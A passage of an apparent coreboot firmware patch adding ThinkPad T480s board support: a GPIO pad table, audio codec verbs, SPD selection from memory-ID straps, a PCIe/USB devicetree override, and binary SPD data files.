GMA.Mainboard; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c +new file mode 100644 +index 0000000000..a98dd2bc4e +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c +@@ -0,0 +1,199 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include "../../gpio.h" ++ ++static const struct pad_config gpio_table[] = { ++ /* ------- GPIO Community 0 ------- */ ++ ++ /* ------- GPIO Group GPP_A ------- */ ++ PAD_CFG_NF(GPP_A0, NONE, DEEP, NF1), /* -KBRC */ ++ PAD_CFG_NF(GPP_A1, NATIVE, DEEP, NF1), /* LPC_AD0 */ ++ PAD_CFG_NF(GPP_A2, NATIVE, DEEP, NF1), /* LPC_AD1 */ ++ PAD_CFG_NF(GPP_A3, NATIVE, DEEP, NF1), /* LPC_AD2 */ ++ PAD_CFG_NF(GPP_A4, NATIVE, DEEP, NF1), /* LPC_AD3 */ ++ PAD_CFG_NF(GPP_A5, NONE, DEEP, NF1), /* -LPC_FRAME */ ++ PAD_CFG_NF(GPP_A6, NONE, DEEP, NF1), /* IRQSER */ ++ PAD_CFG_NF(GPP_A7, NONE, DEEP, NF1), /* -TPM_IRQ */ ++ PAD_CFG_NF(GPP_A8, NONE, DEEP, NF1), /* -CLKRUN */ ++ PAD_CFG_NF(GPP_A9, DN_20K, DEEP, NF1), /* LPCCLK_EC_24M */ ++ PAD_CFG_NF(GPP_A10, DN_20K, DEEP, NF1), /* LPCCLK_DEBUG_24M */ ++ PAD_NC(GPP_A11, NONE), ++ PAD_NC(GPP_A12, NONE), ++ PAD_CFG_NF(GPP_A13, NONE, DEEP, NF1), /* -SUSWARN */ ++ PAD_CFG_NF(GPP_A14, NONE, DEEP, NF1), /* -SUS_STAT */ ++ PAD_CFG_NF(GPP_A15, UP_20K, DEEP, NF1), /* -SUSWARN */ ++ PAD_NC(GPP_A16, NONE), ++ PAD_NC(GPP_A17, NONE), ++ PAD_NC(GPP_A18, NONE), ++ PAD_NC(GPP_A19, NONE), ++ PAD_NC(GPP_A20, NONE), ++ PAD_NC(GPP_A21, NONE), ++ PAD_NC(GPP_A22, NONE), ++ PAD_NC(GPP_A23, NONE), ++ ++ /* ------- GPIO Group GPP_B ------- */ ++ PAD_CFG_NF(GPP_B0, NONE, DEEP, NF1), ++ PAD_CFG_NF(GPP_B1, NONE, DEEP, NF1), ++ PAD_NC(GPP_B2, NONE), ++ PAD_NC(GPP_B3, NONE), ++ PAD_CFG_GPI_SCI(GPP_B4, NONE, DEEP, EDGE_SINGLE, INVERT), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_NF(GPP_B5, NONE, DEEP, NF1), /* -CLKREQ_PCIE0 (dGPU) */ ++ PAD_CFG_NF(GPP_B6, NONE, DEEP, NF1), /* -CLKREQ_PCIE3 (WWAN) */ ++ PAD_CFG_NF(GPP_B7, NONE, DEEP, NF1), /* -CLKREQ_PCIE4 (GBE) */ ++ PAD_CFG_NF(GPP_B8, NONE, DEEP, NF1), /* -CLKREQ_PCIE5 (WLAN) */ ++ PAD_CFG_NF(GPP_B9, NONE, DEEP, NF1), /* -CLKREQ_PCIE6 (TB3) */ ++ PAD_CFG_NF(GPP_B10, NONE, DEEP, NF1), /* -CLKREQ_PCIE8 (SSD) */ ++ PAD_NC(GPP_B11, NONE), ++ PAD_CFG_NF(GPP_B12, NONE, DEEP, NF1), /* -PCH_SLP_S0 */ ++ PAD_CFG_NF(GPP_B13, NONE, DEEP, NF1), /* -PLTRST */ ++ PAD_CFG_NF(GPP_B14, NONE, DEEP, NF1), /* PCH_SPKR */ ++ PAD_CFG_GPO(GPP_B15, 0, DEEP), /* NFC_DLREQ */ ++ PAD_NC(GPP_B16, NONE), ++ PAD_NC(GPP_B17, NONE), ++ PAD_NC(GPP_B18, NONE), ++ PAD_NC(GPP_B19, NONE), ++ PAD_NC(GPP_B20, NONE), ++ PAD_NC(GPP_B21, NONE), ++ PAD_NC(GPP_B22, NONE), ++ PAD_NC(GPP_B23, NONE), ++ ++ /* ------- GPIO Community 1 ------- */ ++ ++ /* ------- GPIO Group GPP_C ------- */ ++ PAD_CFG_NF(GPP_C0, NONE, DEEP, NF1), /* SMB_CLK */ ++ PAD_CFG_NF(GPP_C1, NONE, DEEP, NF1), /* SMB_DATA */ ++ PAD_CFG_GPO(GPP_C2, 1, DEEP), ++ PAD_CFG_NF(GPP_C3, NONE, DEEP, NF1), /* SML0_CLK */ ++ PAD_CFG_NF(GPP_C4, NONE, DEEP, NF1), /* SML0_DATA */ ++ PAD_NC(GPP_C5, NONE), ++ PAD_CFG_NF(GPP_C6, NONE, DEEP, NF1), /* EC_SCL2 */ ++ PAD_CFG_NF(GPP_C7, NONE, DEEP, NF1), /* EC_SDA2 */ ++ PAD_NC(GPP_C8, NONE), ++ PAD_NC(GPP_C9, NONE), ++ PAD_NC(GPP_C10, NONE), ++ PAD_NC(GPP_C11, NONE), ++ PAD_NC(GPP_C12, NONE), ++ PAD_NC(GPP_C13, NONE), ++ PAD_NC(GPP_C14, NONE), ++ PAD_NC(GPP_C15, NONE), ++ PAD_CFG_NF(GPP_C16, NONE, DEEP, NF1), /* I2C0_DATA */ ++ PAD_CFG_NF(GPP_C17, NONE, DEEP, NF1), /* I2C0_CLK */ ++ PAD_NC(GPP_C18, NONE), ++ PAD_NC(GPP_C19, NONE), ++ PAD_CFG_GPO(GPP_C20, 0, DEEP), /* EPRIVACY_ON */ ++ PAD_CFG_GPO(GPP_C21, 0, DEEP), /* TBT_FORCE_PWR */ ++ PAD_CFG_GPI_SCI(GPP_C22, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_SCI */ ++ PAD_CFG_GPI_SCI(GPP_C23, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_WAKE */ ++ ++ /* ------- GPIO Group GPP_D ------- */ ++ PAD_NC(GPP_D0, NONE), ++ PAD_NC(GPP_D1, NONE), ++ PAD_NC(GPP_D2, NONE), ++ PAD_NC(GPP_D3, NONE), ++ PAD_NC(GPP_D4, NONE), ++ PAD_NC(GPP_D5, NONE), ++ PAD_NC(GPP_D6, NONE), ++ PAD_NC(GPP_D7, NONE), ++ PAD_NC(GPP_D8, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D9, UP_20K, DEEP, OFF, ACPI), /* -DISCRETE_PRESENCE */ ++ PAD_NC(GPP_D10, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D11, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_D12, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID1 */ ++ PAD_NC(GPP_D13, NONE), ++ PAD_NC(GPP_D14, NONE), ++ PAD_NC(GPP_D15, NONE), ++ PAD_NC(GPP_D16, NONE), ++ PAD_CFG_GPO(GPP_D17, 0, DEEP), /* DDI_PRIORITY */ ++ PAD_NC(GPP_D18, NONE), ++ PAD_NC(GPP_D19, NONE), ++ PAD_NC(GPP_D20, NONE), ++ PAD_NC(GPP_D21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D22, UP_20K, DEEP, OFF, ACPI), /* -NFC_DTCT */ ++ PAD_NC(GPP_D23, NONE), ++ ++ /* ------- GPIO Group GPP_E ------- */ ++ PAD_CFG_GPO(GPP_E0, 1, DEEP), /* BDC_ON */ ++ PAD_NC(GPP_E1, NONE), ++ PAD_CFG_NF(GPP_E2, NONE, DEEP, NF1), /* -SATA2_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_E3, NONE, DEEP, EDGE_SINGLE, ACPI), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_GPO(GPP_E4, 1, DEEP), /* NFC_ON */ ++ PAD_NC(GPP_E5, NONE), ++ PAD_CFG_NF(GPP_E6, NONE, RSMRST, NF1), /* SATA2_DEVSLP */ ++ PAD_NC(GPP_E7, NONE), ++ PAD_NC(GPP_E8, NONE), ++ PAD_CFG_NF(GPP_E9, NONE, DEEP, NF1), /* -USB_PORT0_OC0 */ ++ PAD_CFG_NF(GPP_E10, NONE, DEEP, NF1), /* -USB_PORT1_OC1 */ ++ PAD_NC(GPP_E11, NONE), ++ PAD_CFG_GPI_APIC_HIGH(GPP_E12, NONE, DEEP), /* NFC_INT */ ++ PAD_CFG_NF(GPP_E13, NONE, DEEP, NF1), /* DDIP1_HPD */ ++ PAD_CFG_NF(GPP_E14, NONE, DEEP, NF1), /* DDIP2_HPD */ ++ PAD_NC(GPP_E15, NONE), ++ PAD_NC(GPP_E16, NONE), ++ PAD_CFG_NF(GPP_E17, NONE, DEEP, NF1), /* EDP_HPD */ ++ PAD_NC(GPP_E18, NONE), ++ PAD_CFG_GPO(GPP_E19, 0, DEEP), ++ PAD_CFG_NF(GPP_E20, NONE, DEEP, NF1), /* DDIP2_CTRLCLK */ ++ PAD_CFG_NF(GPP_E21, NONE, DEEP, NF1), /* DDIP2_CTRLDATA */ ++ PAD_CFG_TERM_GPO(GPP_E22, 0, UP_20K, RSMRST), /* -GPU_RST */ ++ PAD_CFG_TERM_GPO(GPP_E23, 0, UP_20K, RSMRST), /* 1R8VIDEO_AON_ON */ ++ ++ /* ------- GPIO Community 2 ------- */ ++ ++ /* -------- GPIO Group GPD -------- */ ++ PAD_CFG_NF(GPD0, NONE, PWROK, NF1), /* -BATLOW */ ++ PAD_CFG_NF(GPD1, NATIVE, PWROK, NF1), /* AC_PRESENT */ ++ PAD_CFG_NF(GPD2, NATIVE, PWROK, NF1), /* -LANWAKE */ ++ PAD_CFG_NF(GPD3, UP_20K, PWROK, NF1), /* -PWRSW_EC */ ++ PAD_CFG_NF(GPD4, NONE, PWROK, NF1), /* -PCH_SLP_S3 */ ++ PAD_CFG_NF(GPD5, NONE, PWROK, NF1), /* -PCH_SLP_S4 */ ++ PAD_CFG_NF(GPD6, NONE, PWROK, NF1), /* -PCH_SLP_M */ ++ PAD_NC(GPD7, NONE), ++ PAD_CFG_NF(GPD8, NONE, PWROK, NF1), /* SUSCLK_32K */ ++ PAD_CFG_NF(GPD9, NONE, PWROK, NF1), /* -PCH_SLP_WLAN */ ++ PAD_CFG_NF(GPD10, NONE, PWROK, NF1), /* -PCH_SLP_S5 */ ++ PAD_CFG_NF(GPD11, NONE, PWROK, NF1), /* LANPHYPC */ ++ ++ /* ------- GPIO Community 3 ------- */ ++ ++ /* ------- GPIO Group GPP_F ------- */ ++ PAD_CFG_GPO(GPP_F0, 0, DEEP), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F1, NONE, DEEP, OFF, ACPI), /* GC6_FB_EN */ ++ PAD_CFG_GPO(GPP_F2, 1, DEEP), /* -GPU_EVENT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F3, NONE, PLTRST, OFF, ACPI), /* DGFX_PWRGD */ ++ PAD_NC(GPP_F4, NONE), /* -WWAN_RESET */ ++ PAD_NC(GPP_F5, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F6, UP_20K, DEEP, OFF, ACPI), /* -MIC_HW_EN (R37 to GND) */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F7, UP_20K, DEEP, OFF, ACPI), /* -INT_MIC_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F8, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F9, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F10, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F11, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F12, UP_20K, DEEP, OFF, ACPI), /* PLANARID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F13, UP_20K, DEEP, OFF, ACPI), /* PLANARID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F14, UP_20K, DEEP, OFF, ACPI), /* PLANARID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F15, UP_20K, DEEP, OFF, ACPI), /* PLANARID3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F16, UP_20K, DEEP, OFF, ACPI), /* MEMORYID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F17, UP_20K, DEEP, OFF, ACPI), /* MEMORYID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F18, UP_20K, DEEP, OFF, ACPI), /* MEMORYID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F19, UP_20K, DEEP, OFF, ACPI), /* MEMORYID3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F20, UP_20K, DEEP, OFF, ACPI), /* MEMORYID4 */ ++ PAD_NC(GPP_F21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F22, UP_20K, DEEP, OFF, ACPI), /* -TAMPER_SW_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F23, UP_20K, DEEP, OFF, ACPI), /* -SC_DTCT */ ++ ++ /* ------- GPIO Group GPP_G ------- */ ++ PAD_NC(GPP_G0, NONE), ++ PAD_NC(GPP_G1, NONE), ++ PAD_NC(GPP_G2, NONE), ++ PAD_NC(GPP_G3, NONE), ++ PAD_CFG_GPO(GPP_G4, 0, DEEP), /* TBT_RTD3_PWR_EN */ ++ PAD_CFG_GPO(GPP_G5, 0, DEEP), /* TBT_FORCE_USB_PWR */ ++ PAD_CFG_GPO(GPP_G6, 0, DEEP), /* -TBT_PERST */ ++ PAD_CFG_GPI_SCI(GPP_G7, NONE, DEEP, LEVEL, INVERT), /* -TBT_PCIE_WAKE */ ++}; ++ ++void variant_config_gpios(void) ++{ ++ gpio_configure_pads(gpio_table, ARRAY_SIZE(gpio_table)); ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c +new file mode 100644 +index 0000000000..b1d96c5a76 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c +@@ -0,0 +1,90 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++ ++const u32 cim_verb_data[] = { ++ 0x10ec0257, // Vendor/Device ID: Realtek ALC257 ++ 0x17aa2258, // Subsystem ID ++ 11, ++ AZALIA_SUBVENDOR(0, 0x17aa2258), ++ ++ AZALIA_PIN_CFG(0, 0x12, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_MIC_IN, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 2, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x13, 0x40000000), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_SPEAKER, ++ AZALIA_OTHER_ANALOG, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x18, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x19, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_MIC_IN, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 3, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x1a, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1b, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1d, 0x40661b45), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x1e, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x21, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_HP_OUT, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 15 ++ )), ++ ++ 0x8086280b, // Vendor/Device ID: Intel Kabylake HDMI ++ 0x80860101, // Subsystem ID ++ 4, ++ AZALIA_SUBVENDOR(2, 0x80860101), ++ ++ AZALIA_PIN_CFG(2, 0x05, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x06, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x07, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++}; ++ ++const u32 pc_beep_verbs[] = {}; ++ ++AZALIA_ARRAY_SIZES; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c +new file mode 100644 +index 0000000000..001e934b3a +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c +@@ -0,0 +1,44 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++#include ++#include ++#include ++ ++static const struct pad_config memory_id_gpio_table[] = { ++ PAD_CFG_GPI_TRIG_OWN(GPP_F16, UP_20K, DEEP, OFF, ACPI), /* MEMORYID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F17, UP_20K, DEEP, OFF, ACPI), /* MEMORYID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F18, UP_20K, DEEP, OFF, ACPI), /* MEMORYID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F19, UP_20K, DEEP, OFF, ACPI), /* MEMORYID3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F20, UP_20K, DEEP, OFF, ACPI), /* MEMORYID4 */ ++}; ++ ++void mainboard_memory_init_params(FSPM_UPD *mupd) ++{ ++ int spd_idx; ++ char spd_name[20]; ++ size_t spd_size; ++ ++ FSP_M_CONFIG *mem_cfg = &mupd->FspmConfig; ++ mem_cfg->DqPinsInterleaved = true; /* DDR_DQ in interleave mode */ ++ mem_cfg->CaVrefConfig = 2; /* VREF_CA to CH_A and VREF_DQ_B to CH_B */ ++ mem_cfg->MemorySpdDataLen = CONFIG_DIMM_SPD_SIZE; ++ ++ /* Get SPD for soldered RAM SPD (CH A) */ ++ gpio_configure_pads(memory_id_gpio_table, ARRAY_SIZE(memory_id_gpio_table)); ++ ++ spd_idx = gpio_get(GPP_F16) | gpio_get(GPP_F17) << 1 | gpio_get(GPP_F18) << 2 | ++ gpio_get(GPP_F19) << 3 | gpio_get(GPP_F20) << 4; ++ printk(BIOS_DEBUG, "Detected MEMORY_ID = %d\n", spd_idx); ++ snprintf(spd_name, sizeof(spd_name), "spd_%d.bin", spd_idx); ++ mem_cfg->MemorySpdPtr00 = (uintptr_t)cbfs_map(spd_name, &spd_size); ++ ++ /* Get SPD for memory slot (CH B) */ ++ struct spd_block blk = { .addr_map = { [1] = 0x51, } }; ++ get_spd_smbus(&blk); ++ dump_spd_info(&blk); ++ ++ mem_cfg->MemorySpdPtr10 = (uintptr_t)blk.spd_array[1]; ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb +new file mode 100644 +index 0000000000..d4afca20c4 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb +@@ -0,0 +1,103 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++chip soc/intel/skylake ++ device domain 0 on ++ device ref south_xhci on ++ register "usb2_ports" = "{ ++ [0] = USB2_PORT_MID(OC0), // JUSB1 (USB-A always on) ++ [1] = USB2_PORT_MID(OC1), // JUSB2 (USB-A) ++ [2] = USB2_PORT_MID(OC_SKIP), // JFPR (smartcard slot) ++ [3] = USB2_PORT_MID(OC_SKIP), // JUSBC (USB-C) ++ [4] = USB2_PORT_MID(OC_SKIP), // JCAM (IR camera) ++ [5] = USB2_PORT_MID(OC_SKIP), // JWWAN (M.2 WWAN USB) ++ [6] = USB2_PORT_MID(OC_SKIP), // JWLAN (M.2 WLAN USB) ++ [7] = USB2_PORT_MID(OC_SKIP), // JCAM (webcam) ++ [8] = USB2_PORT_MID(OC_SKIP), // JFPR (fingerprint reader) ++ [9] = USB2_PORT_MID(OC_SKIP), // JLCD (touch panel) ++ }" ++ register "usb3_ports" = "{ ++ [0] = USB3_PORT_DEFAULT(OC0), // JUSB1 (USB-A always on) ++ [1] = USB3_PORT_DEFAULT(OC1), // JUSB2 (USB-A) ++ [2] = USB3_PORT_DEFAULT(OC_SKIP), // JSD (SD card reader) ++ [3] = USB3_PORT_DEFAULT(OC_SKIP), // JUSBC (USB-C) ++ }" ++ end ++ ++ device ref sata on ++ # SATA_2 - Main M.2 SATA SSD ++ register "SataPortsEnable[2]" = "1" ++ register "SataPortsDevSlp[2]" = "1" ++ end ++ ++ # PCIe controller 1 - 1x2+2x1 ++ # PCIE 1-2 - RP1 - dGPU - CLKOUT0 - CLKREQ0 ++ # PCIE 4 - RP4 - WWAN - CLKOUT1 - CLKREQ1 ++ # ++ # PCIe controller 2 - 2x1+1x2 (lane reversal) ++ # PCIE 5 - GBE - GBE - CLKOUT2 - CLKREQ2 (clobbers RP8) ++ # PCIE 6 - RP7 - WLAN - CLKOUT3 - CLKREQ3 ++ # PCIE 7-8 - RP5 - TB3 - CLKOUT4 - CLKREQ4 ++ # ++ # PCIe controller 3 - 1x4 (lane reversal) ++ # PCIE 9-12 - RP9 - SSD - CLKOUT5 - CLKREQ5 ++ ++ # dGPU - x2 ++ device ref pcie_rp1 on ++ register "PcieRpEnable[0]" = "1" ++ register "PcieRpClkReqSupport[0]" = "1" ++ register "PcieRpClkReqNumber[0]" = "0" ++ register "PcieRpClkSrcNumber[0]" = "0" ++ register "PcieRpAdvancedErrorReporting[0]" = "1" ++ register "PcieRpLtrEnable[0]" = "1" ++ end ++ ++ # M.2 WWAN - x1 ++ device ref pcie_rp4 on ++ register "PcieRpEnable[3]" = "1" ++ register "PcieRpClkReqSupport[3]" = "1" ++ register "PcieRpClkReqNumber[3]" = "1" ++ register "PcieRpClkSrcNumber[3]" = "1" ++ register "PcieRpAdvancedErrorReporting[3]" = "1" ++ register "PcieRpLtrEnable[3]" = "1" ++ end ++ ++ # Ethernet (clobbers RP8) ++ device ref gbe on ++ register "LanClkReqSupported" = "1" ++ register "LanClkReqNumber" = "2" ++ register "EnableLanLtr" = "1" ++ register "EnableLanK1Off" = "1" ++ end ++ ++ # M.2 WLAN - x1 ++ device ref pcie_rp7 on ++ register "PcieRpEnable[6]" = "1" ++ register "PcieRpClkReqSupport[6]" = "1" ++ register "PcieRpClkReqNumber[6]" = "3" ++ register "PcieRpClkSrcNumber[6]" = "3" ++ register "PcieRpAdvancedErrorReporting[6]" = "1" ++ register "PcieRpLtrEnable[6]" = "1" ++ end ++ ++ # TB3 (Alpine Ridge LP) - x2 ++ device ref pcie_rp5 on ++ register "PcieRpEnable[4]" = "1" ++ register "PcieRpClkReqSupport[4]" = "1" ++ register "PcieRpClkReqNumber[4]" = "4" ++ register "PcieRpClkSrcNumber[4]" = "4" ++ register "PcieRpAdvancedErrorReporting[4]" = "1" ++ register "PcieRpLtrEnable[4]" = "1" ++ register "PcieRpHotPlug[4]" = "1" ++ end ++ ++ # M.2 2280 SSD - x2 ++ device ref pcie_rp9 on ++ register "PcieRpEnable[8]" = "1" ++ register "PcieRpClkReqSupport[8]" = "1" ++ register "PcieRpClkReqNumber[8]" = "5" ++ register "PcieRpClkSrcNumber[8]" = "5" ++ register "PcieRpAdvancedErrorReporting[8]" = "1" ++ register "PcieRpLtrEnable[8]" = "1" ++ end ++ end ++end +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..86f39ddb55ea9fb58d5e5699637636ef597c734e +GIT binary patch +literal 512 +zcmY!u;9+)EWZ+<6U|?oq29gXMJYRrxPEL*>N67~+1r7#Qh7a1t+8`-(puhlu3{YAD +YT>%dM8_BI;nL`dsaHtp+rc($20I8n}l>h($ + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..df0f6e58b79286a4aeb690c5027adf7a1f5f668b +GIT binary patch +literal 512 +zcmY!u;9+i6oWQ}rz`)GN3?vyic)kGXoSYm%j*<^t3LFfq3@hZcwLwzoK!E`Q8KATR +Yx&j>hH(SqvWezd%<4`dwOs5b40B_I==>Px# + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..24f0d8992bc5244c62488da9633e4885f52f3e22 +GIT binary patch +literal 512 +zcmY!ucy&~OfFg0G3Wp`)phiHWn5fv$6q +PvjPw>z-1}5hGzN!nb#F$ + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..59b6b9e78263c42aae367ab7d4a784d888f30efe +GIT binary patch +literal 512 +zcmY!ucy(6E*fVuXjUqlKwqu$iMg7pDLK + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a2a64a5e1adada3fc00b2e4edc60c77e610881a9 +GIT binary patch +literal 512 +zcmY!u<-XH%N8S?V-1R3%^a4B#wurhqmHql_HU=XnZ$x{Q& +z*$Oh{IYWaWKO+-03?$Qx1CPkm2-nu217(^xhPas;8kw1RMCls2o4FbS#SI&DT;VDQ +GCj$V){1T)9 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a2a64a5e1adada3fc00b2e4edc60c77e610881a9 +GIT binary patch +literal 512 +zcmY!u<-XH%N8S?V-1R3%^a4B#wurhqmHql_HU=XnZ$x{Q& +z*$Oh{IYWaWKO+-03?$Qx1CPkm2-nu217(^xhPas;8kw1RMCls2o4FbS#SI&DT;VDQ +GCj$V){1T)9 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a64a5a93fb4aef4d5f63d79cb2582731b9ac5063 +GIT binary patch +literal 512 +NcmZQz7zHCa1ONg600961 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..5f23e86606094d3e5d2011db902ebd4a500bbffa +GIT binary patch +literal 512 +zcmY!u<-XHc140(BZf(&^dxD+@TSQ$QOn`kgpFo@WIT6 +z8Mi42GcX`n2w8lrIa@)p&l&!{<7bq|r;x^SwThHl(6E*fVuXjUqobjFu$i-OkeQ!u +Vn70BDFf^?FkI#a;_$28g2LNS*7)Ag9 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..857da9c9828cdac842329f6cef4539283777268b +GIT binary patch +literal 512 